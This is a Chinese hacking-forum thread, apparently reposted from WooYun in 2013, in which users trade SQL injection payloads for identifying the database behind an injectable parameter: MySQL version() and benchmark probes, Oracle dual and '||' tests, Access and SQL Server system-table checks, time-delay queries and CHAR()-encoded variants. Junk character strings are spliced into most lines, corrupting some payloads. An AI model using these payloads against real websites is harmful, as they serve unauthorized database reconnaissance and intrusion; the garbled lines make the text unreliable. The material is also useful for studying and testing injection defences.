找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2022|回复: 0
打印 上一主题 下一主题

一个注射点如何最快速确认是什么类型数据库

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-11 09:54:04 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
一个注射点如何最快速确认是什么类型数据库# m7 `; u, z; s
xsser (十根阳具有长短!!) | 2013-02-05 12:36
; S! @* F2 s" \" V) t7 t假设这么一个注射点:( X% N" c6 R/ i# J2 s* ?8 u
show.html?id=2
% r' B9 T* H% Lmysql:id=2 and version()>0* d2 S, ~' A; `4 Y' Y; [
oracle:id=2 and '1'||'1'='115 I& B0 ?9 k: F" n- q/ Z' v
其他的欢迎补充
0 l+ k. e' D& n* w1#
  z' n  J% p5 L  C/ uupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47/ M/ ]" d4 w' r$ I1 l+ M7 @# p
Access:4 L  C. i. F4 M: ]# d' i( ~2 B
aNd aSc(cHr(97))=97
& B, |# N8 n) x( S" V9 Aand exists(select id from MSysAccessObjects)
8 y0 K5 l" T& \SQL Server:
7 l% u1 ^7 Q/ Q% [3 {" m8 }! Qand exists(select id from sysobjects)
7 J& D  i$ C  s8 Z. C# gand length(user)>0
3 O5 }' S7 f; H& x9 EMySQL:0 I8 r4 R5 S! E; E7 y( G/ o
and length(user())>08 b# n  d1 i% R7 Z
2#
2 h! v. H( k/ N+ H7 c6 hxsser (十根阳具有长短!!) | 2013-02-05 12:48
0 j3 t* Q5 p, L+ C/ X. z) G@upload 如果这些都不是呢…4 ^( N$ |9 |# W' m5 A
3#
5 }* |, q- c$ u( }upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
' f" @2 h$ V, M$ S@xsser 不快速的,延时注入
. L, h/ b- m/ h7 j6 V+ g不知道这样写对不对& d$ L5 C7 F9 @0 K4 K& z2 s) D: E
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'0 A' M( k5 g+ f/ T! z2 P' A6 i$ h
mysql:id=2 and select benchmark(1e8,current_date());, W$ Z/ a+ W. O: ?
4#
* V: m! j3 F, @: V$ \upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
  Y- B0 q% K4 V6 S5 ?最快的貌似是看报错信息
* t& |/ i5 ~6 [% G$ ~, Yoracle error0 S; s8 M( b, g7 o4 ]
mssql error
3 q" B" f' Z* H' ]mysql error/ x1 _6 D- o/ v
5#& }4 F* s& @9 X$ [: [
Nimda (你们都是坏银~) | 2013-02-05 13:14' s+ Y, x# L, j! R& Y6 F; `
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual): n& k) _! c* w# ]
6#
5 V! B7 _% e& ~' Kupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21: b! z0 }# L9 c7 W
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
: q  ^. ]' i0 K# U5 I# B2 O2 Y: o“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:; u1 k4 Q0 {% Y1 |" ^- G1 o' n
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
7 Z5 J) k1 R1 f* ~7#
& N9 N8 Q9 B' n5 w_Evil (HackEnd) | 2013-02-05 13:33
1 `1 A( w8 S4 _: i8 L& v& |/ J. OPostgreSQL3 k) r8 U9 m: P: L$ r" ~" t
8#* Y6 \1 u# x7 ?9 U! C5 R
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42( d0 G: s! U/ y  @0 Y. h. X
切换编码 and 1=1
3 s5 e$ {. ^( Yoracle:6 x2 a0 u$ @1 n- o1 r% z" ^
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
0 q% Z1 J0 p. `( W1 rmssql:1 u. n$ _7 J2 w; q4 u
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)* C! `7 ~/ Q& D) E6 t  ~, k
mysql:
! Q2 g, I0 x( v  H( k- ECHAR(97, 110, 100, 32, 49, 61, 49)
3 o+ P  B" x" v& p! a- y9#% @7 i' {, |8 j; \. r( l- H
xsser (十根阳具有长短!!) | 2013-02-05 14:316 B' j% D9 O( U5 }/ `, Q
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?" z+ c& e% b# E# ^
10#, H1 f: z' J, C
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46+ @, g% }" F- V! y- S9 J" W
@xsser 是奇葩数据库类型的么?0 M# L' @! }7 I$ [4 p2 z4 i
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
( h. E# O3 i7 N( n9 p0 h- i1.是否可以使用特定的函数来判断,该数据库特有的& t& j1 I1 r8 w% a2 `
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
0 i; ^+ {/ m* G" z& Z3.是否可以编码查询
* U$ s& c/ j/ G$ ?! C* c. Y' m) F4.是否显可以利用错信息
0 q) K4 ?  ?, u& q6 h" f( I6 Z5.是否存在数据库某些特性辅助判断' ^( v0 l) _3 o) `0 u; w' U1 |+ O
个人见解
/ v$ r8 J8 \+ W# M3 g11#0 \( j1 I0 @+ F5 c( U1 c
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
7 J8 C6 q/ T- `0 v# w& c已收藏,mssql可以直接看到错误提示的吧~
7 K2 j' y& J5 m% a) E: H; ^12#
( Y5 m# i9 _  N5 j4 {+ m  DPasser_by | 2013-02-05 15:09  ^) w; P. G. N0 Z8 b1 Y
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
* [2 o; E5 U& V! ffrom:http://zone.wooyun.org/content/260
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表